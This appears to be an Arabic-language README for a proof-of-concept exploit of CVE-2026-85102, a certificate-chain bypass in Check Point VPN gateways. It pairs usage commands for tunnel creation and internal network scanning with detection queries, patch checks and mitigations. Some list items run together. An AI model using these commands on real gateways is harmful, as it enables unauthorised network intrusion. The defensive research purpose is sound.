
تجاوز المصادقة والتنفيذ عن بُعد للتعليمات البرمجية في الوصول عن بُعد وشبكة VPN من موقع إلى موقع
يستغل CVE-2026-85102 لإنشاء نفق VPN غير مُصادَق عليه على Check Point Security Gateway عبر تجاوز التحقق من سلسلة شهادات IKE.
استشارة Check Point الرسمية: sk1000117
المنتج: Check Point Security Gateway، Check Point Spark Firewall
الإصدارات المتأثرة: R81.20، R82، R82.10 (ما قبل Bundle T24)، R80-R81.10 (جميع إصدارات EoS)
غير المتأثرة: R82.20
المكوّن: libcpcert.so — fwKeyHolder_imp::IsChainTrusted()
السبب الجذري: تستدعي IsChainTrusted() الدالة CanonizeChain() لكنها تتجاهل قيمة الإرجاع الخاصة بها. حتى عند فشل تقنين السلسلة، تُرجع الدالة TRUSTED.
الاستغلال: يمكن للمهاجم:
CanonizeChain()CVE-2026-85102.py # CVE-2026-85102: VPN tunnel establishment (auth bypass)
cp_postex.py # Post-exploitation helper (tunnel management, recon)
pip install cryptographyopenssl، iproute2 (أمر ip)، nc (netcat)testuser)# Establish tunnel with certificate bypass
sudo python3 CVE-2026-85102.py<target_ip> -u <vpn_username>
# Output includes Office Mode IP, e.g., 172.16.10.3
# Clean up tunnel
sudo python3 CVE-2026-85102.py--cleanup
# Establish tunnel and save state
sudo python3 cp_postex.py tunnel up <target_ip> -u <vpn_username>
# Check tunnel status
sudo python3 cp_postex.py tunnel status
# Scan gateway ports through tunnel
sudo python3 cp_postex.py recon scan
sudo python3 cp_postex.py recon scan -p 80,443,18190-18208
# Sweep internal networks through tunnel
sudo python3 cp_postex.py recon sweep 192.168.1.0/24
sudo python3 cp_postex.py recon sweep 192.168.1.0/24 -p 22
# Tear down tunnel
sudo python3 cp_postex.py tunnel down
sudo python3 cp_postex.py tunnel down -f # Flush all xfrm state
| المعامل | الوصف |
|---|---|
<target_ip> | عنوان IP لبوابة Check Point |
-u <username> | اسم مستخدم VPN (الافتراضي: testuser) |
-l <local_ip> | عنوان IP محلي يدوي للأنظمة متعددة الواجهات |
-c <cert_host> | مضيف بديل لاستخراج شهادة ICA |
--cleanup | إزالة إعدادات النفق |
راجع السجلات بحثًا عن عمليات تسجيل دخول غير طبيعية إلى Mobile Access قائمة على الشهادات. في SmartConsole/Spark Management، انتقل إلى Logs & Monitor / Logs & Events وابحث عن الأحداث بعد 12 سبتمبر 2026:
product: "Mobile Access" AND action: "Log In" AND "Certificate"
افحص الأحداث بحثًا عن مستخدمين أو عملاء أو عناوين IP مصدر غير معروفة.
مواضيع شهادات مشبوهة تم رصدها:
CN=vpn,OU=users,O=globalCN=vpn-user,OU=users,O=globalCN=vpnuser,OU=users,O=globalثبّت LivePatch Take 26 (BUNDLE_URGENT_SECURITY_UPDATE):
تحقق من صحة التثبيت:
# Check LivePatch status
cplp list
# Expected output includes:
# cpcert:cpca* CVE-2026-85102 CVE-2026-85103
# cpcert:iked* CVE-2026-85102 CVE-2026-85103
# cpcert:vpn* CVE-2026-85102 CVE-2026-85103
# cpcert:vpnrad* CVE-2026-85102 CVE-2026-85103
# cpcert_cprid:cprid* CVE-2026-85102 CVE-2026-85103
يعدّل الإصلاح الملف libcpcert.so:
// IsChainTrusted: Check CanonizeChain return value
result = CanonizeChain(this, trusted_ca, sorted, out, i, trust_type);
if (!result) {
trusted_ca = NULL;
}
return trusted_ca;
// CanonizeChain: Check intermediate operation returns
if (!CopyChain(...)) return NULL;
if (!TruncateChain(...)) return NULL;
عطّل قواعد VPN الضمنية وحدّد يدويًا وصول VPN لـ UDP/500 و UDP/4500 لعناوين IP محددة للأقران. راجع sk179346.
عطّل القواعد الضمنية لـ Remote Access VPN. أنشئ قواعد تحكم وصول صريحة تسمح لخدمات Remote Access VPN المطلوبة بالوصول إلى Security Gateway:
ملاحظة: إجراءات التخفيف هذه لا تنطبق على جدران حماية Spark المُدارة محليًا.
يُقدَّم كود الاستغلال هذا لأغراض البحث الأمني والاختبار. استخدمه على أنظمتك الخاصة أو بترخيص صريح من مالك النظام.